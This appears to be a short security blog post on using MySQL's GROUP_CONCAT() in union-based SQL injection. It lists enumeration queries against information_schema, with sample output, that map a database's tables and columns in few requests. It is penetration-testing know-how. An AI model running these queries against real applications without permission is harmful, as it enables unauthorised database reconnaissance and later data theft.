Apparently GROUP_CONCAT() is already known by many people, except me! I've just found it. It allows to get multiple rows as a string. This makes it a perfect candidate for one-row union SQL Injections. There is one catch though, by default it returns only 1024 characters (global option, can't be set via an SQL Injection) which is not enough for one query sql-dump sorts of tricks.

However this simple query can be useful for enumerating tables and columns together in fewer requests:

• SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 1,1
• SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 2,1
• SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT 3,1
• SELECT CONCAT(table_name,'>',GROUP_CONCAT(column_name)) FROM information_schema.columns WHERE table_schema=database() GROUP BY table_name LIMIT n,1

Output will be look like:

• 'db>Host,Db,User,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Grant_priv'
• 'help_category>help_category_id,name,parent_category_id,url'
• 'help_keyword>help_keyword_id,name'

Damn! I should update SQL Injection Cheat Sheet and SQL Injection Wiki , lots to catch up...